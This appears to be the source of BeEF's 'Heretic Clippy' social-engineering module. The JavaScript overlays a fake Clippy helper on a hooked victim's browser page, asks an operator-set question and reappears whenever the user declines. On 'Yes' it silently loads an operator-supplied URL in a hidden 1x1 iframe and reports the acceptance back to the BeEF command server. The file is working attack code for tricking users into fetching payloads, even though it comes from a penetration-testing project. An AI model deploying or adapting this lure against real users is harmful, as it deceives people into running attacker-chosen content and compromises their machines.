Path: blob/master/modules/social_engineering/clippy/command.js
1866 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78/**9* Heretic Clippy10* @version 1.0.011* @author sprky012* @modified vt & denden13**/1415function __clippyboot(run) {16var _run = run;17if (!document.getElementsByTagName("body")[0]) {18setTimeout(function(){__clippyboot(_run);},10);19} else {20_run();21}22}2324var GUID = {base:"_",cur:0,get:function(){this.cur++;return this.base+this.cur;}}2526var HelpText = function(_question,reusable) {27this.question = _question;28this.options = [];29this.key = GUID.get();30this.views = 0;31this.reusable = (reusable === true);32this.timeout = {};33return this;34}35HelpText.prototype.available = function() {36return (this.views < 1 || this.reusable === true);37}38HelpText.prototype.addResponseURL = function(_text,_url) {39this.options.push({text:_text,URL:_url,rel:"external"});40return;41}42HelpText.prototype.addResponse = function(_text,_callback) {43this.options.push({text:_text,callback:_callback,rel:"internal"});44return;45}46HelpText.prototype.addTimeout = function(_timeout,_callback) {47this.timeout = {callback:_callback,timeout:_timeout};48}49HelpText.prototype.getKey = function() {return this.key;}50HelpText.prototype.toString = function() {51return this.question;52}53HelpText.prototype.toString = function() {54return this.getKey();55}56HelpText.prototype.toElements = function() {5758this.views++;5960var div = document.createElement('div');61var p = document.createElement('p');62p.innerHTML = this.question;63div.appendChild(p);6465for(var i = 0; i < this.options.length; i++) {66var button = document.createElement('button');67button.innerHTML = this.options[i].text;68if (this.options[i].rel == "internal")69button.onclick = this.options[i].callback;70else {71var _Option = this.options[i];72button.onclick = function(){73window.location = _Option.URL;74}75}76div.appendChild(button);77}7879if (this.timeout.callback && typeof(this.timeout.callback) == "function") {80setTimeout(this.timeout.callback, (this.timeout.timeout ? this.timeout.timeout : 500));81}8283return div;84}8586/* CLIPPY Display */87var ClippyDisplay = function(options) {8889this.file_dir = (options.file_dir) ? options.file_dir : "";9091this.div = document.createElement('div');92this.div.style.zIndex = 1000000;93this.div.style.width = "102px";94this.div.style.height = "98px";95this.div.style.backgroundColor = "transparent";96this.div.style.position = "absolute";97this.div.style.bottom = 0;98this.div.style.color = "black";99this.div.style.right = "60px";100this.div.style.display = "inline";101102if (navigator.userAgent.match(/MSIE/)) {103this.div.style.filter = "revealTrans(transition=12,duration=1.8)";104}105else {106var img = new Image();107img.src = this.file_dir + "clippy-main.png";108img.style.position = "relative";109img.style.display = "block";110img.id = "clippyid";111112this.div.appendChild(img);113}114115this.div.style.opacity = (options.visible === false) ? 0 : 1;116117return this;118}119ClippyDisplay.prototype.getElement = function() {120return this.div || null;121}122ClippyDisplay.prototype.fadeIn = function(duration,options) {123124var _clipple = this;125126if (!options)127options = {};128if (!options.step)129options.step = 1 / 200;130if (!options.value)131options.value = 0;132if (!options.remain)133options.remain = 199;134if (!options.increment)135options.increment = duration / 200;136137options.remain--;138options.value += options.step;139140if (navigator.userAgent.match(/MSIE/)) {141imgfile = _clipple.file_dir + "clippy-main.png";142_clipple.div.filters[0].Apply();143_clipple.div.innerHTML="<img src='"+imgfile+"' />";144_clipple.div.filters[0].Play();145}146else {147_clipple.div.style.opacity = options.value;148if (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); }149}150151return;152}153154155ClippyDisplay.prototype.fadeOut = function(duration,options) {156157var _clipple = this;158159if (!options)160options = {};161if (!options.step)162options.step = 1 / 200;163if (!options.value)164options.value = 1;165if (!options.remain)166options.remain = 199;167if (!options.increment)168options.increment = duration / 200;169170options.remain--;171options.value -= options.step;172_clipple.div.style.opacity = options.value;173174175176if (navigator.userAgent.match(/MSIE/)) {177document.body.removeChild(document.getElementById("pipes"));178}179else {180if (options.remain > 0) {181setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment);182}183else{184document.body.removeChild(document.getElementById("pipes"));185}186}187188return;189}190191192/** SPEECH BUBBLE **/193194var PopupDisplay = function(o,options) {195196this.file_dir = (options.file_dir) ? options.file_dir : "";197198if (typeof(o) === "string") {199p = document.createElement('p');200p.innerHTML = o;201o = p;202}203204this.div = document.createElement('div');205this.div.style.zIndex = 1000000;206this.div.style.width = "130px";207this.div.style.height = "auto";208this.div.style.backgroundColor = "transparent";209this.div.style.color = "black";210this.div.style.position = "absolute";211this.div.style.bottom = "85px";212this.div.style.right = "55px";213this.div.style.display = "block";214215var imgTop = new Image();216imgTop.src = this.file_dir + "clippy-speech-top.png";217imgTop.style.position = "relative";218imgTop.style.display = "block";219this.div.appendChild(imgTop);220221this.message = document.createElement('div');222this.message.style.background = "transparent url('" + this.file_dir + "clippy-speech-mid.png') top left repeat-y";223this.message.style.padding = "8px";224this.message.style.font = "11.5px Arial, Verdana, Sans";225this.message.appendChild(o);226227this.div.appendChild(this.message);228229var imgBottom = new Image();230imgBottom.src = this.file_dir + "clippy-speech-bottom.png";231imgBottom.style.position = "relative";232imgBottom.style.display = "block";233this.div.appendChild(imgBottom);234235return this;236}237PopupDisplay.prototype.close = function() {238try {239var div = this.getElement();240if (div != null && div.parentNode) {241div = div.parentNode;242div.removeChild(this.getElement());243}244} catch(e) {245// alert(e)246}247}248PopupDisplay.prototype.getElement = function() {249return this.div;250}251252253/** CLIPPY controller **/254255var Clippy = function(_homeSelector,file_dir) {256this.help = {};257// What options are OK to use as an introductory question?258this.firstlines = [];259this.homebase = this.findHomeBase(_homeSelector);260this.timer = false;261this.file_dir = file_dir;262return this;263}264Clippy.prototype.findHomeBase = function(selector) {265266if (!selector)267selector = "body";268269var ref = false;270271if (selector.charAt(0)=="#") {272ref = document.getElementById(selector);273} else {274ref = document.getElementsByTagName(selector)[0];275276var div = document.createElement("div");277278div.style.zIndex = 9999999;279div.id = "pipes";280div.style.width = "300px";281div.style.height = "300px";282div.style.backgroundColor = "transparent";283div.style.position = "fixed";284div.style.bottom = "0";285div.style.right = "0";286287ref.appendChild(div);288289return div;290291}292293beef.debug(ref);294295return ref;296}297Clippy.prototype.run = function(opt) {298299var _c = this;300301this.character = new ClippyDisplay({302file_dir : this.file_dir,303visible : false304});305this.homebase.appendChild( this.character.getElement() );306this.character.fadeIn(1000);307308var Help = new HelpText("<%== @askusertext %>");309Help.addResponse("Yes", function(){ _c.hahaha(); } );310Help.addResponse("Not now", function(){ _c.killClippy(); setTimeout(function() { new Clippy("body","<%== @clippydir %>").run(); },"<%== @respawntime %>"); } );311this.addHelp(Help,true);312313// initial wait314this.talkLater();315316}317Clippy.prototype.killClippy = function(){318319this.closeBubble();320this.character.fadeOut(1000);321}322Clippy.prototype.hahaha = function() {323324var div = document.createElement("div");325var _c = this;326div.id = "heehee";327div.style.display = "none";328div.innerHTML="<iframe src='<%== @executeyes %>' width=1 height=1 style='display:none'></iframe>";329330document.body.appendChild(div);331_c.openBubble("<%== @thankyoumessage %>");332setTimeout(function () { _c.killClippy(); }, 5000);333beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer=user has accepted');334335}336Clippy.prototype.addHelp = function(_help, is_startphrase) {337this.help[ _help.getKey() ] = _help;338if (is_startphrase)339this.firstlines.push( _help.getKey() );340341return;342}343Clippy.prototype.sayOne = function(keys,alternative) {344345var found = false, count = 0;346347while(count < keys.length) {348var choice = parseInt( Math.random() * keys.length );349if( this.canSay( keys[choice]) ) {350this.say(keys[choice]);351return;352}353count ++;354}355356return;357}358Clippy.prototype.canSay = function(key) {359return this.help[ key ].available();360}361Clippy.prototype.say = function(key,alternative) {362363if (this.timer != false) {364try {365clearTimeout(this.timer);366this.timer = false;367} catch(e) {}368}369370if(typeof(key) !== "string" && key.length)371this.sayOne(key,alternative);372373this.openBubble( this.help[ key ].toElements() );374}375Clippy.prototype.firstLine = function() {376this.sayOne(this.firstlines);377}378Clippy.prototype.talkLater = function() {379this.closeBubble();380var _c = this;381this.timer = setTimeout( function() { _c.firstLine(); }, 2000);382}383Clippy.prototype.openBubble = function(_o) {384385if (typeof(_o)=="string") {386var o = document.createElement("p");387o.innerHTML = _o;388} else {389var o = _o;390}391392if (this.bubble) {393this.bubble.close();394}395396this.bubble = new PopupDisplay(o,{file_dir:this.file_dir});397this.homebase.appendChild(this.bubble.getElement());398399}400Clippy.prototype.closeBubble = function() {401if (this.bubble) {402this.bubble.close();403}404}405406/* APPLICATION LOGIC: */407// function clippy_boot() {if(document.getElementsByTagName("BODY").length === 0) {setTimeout("clippy_boot()",1);} else {clippy_main();}return;}408// function clippy_main() {var c = new Clippy("homebase","./").run();}409/* GO! */410// clippy_boot();411412__clippyboot(function(){new Clippy("body","<%== @clippydir %>").run();});413414});415416417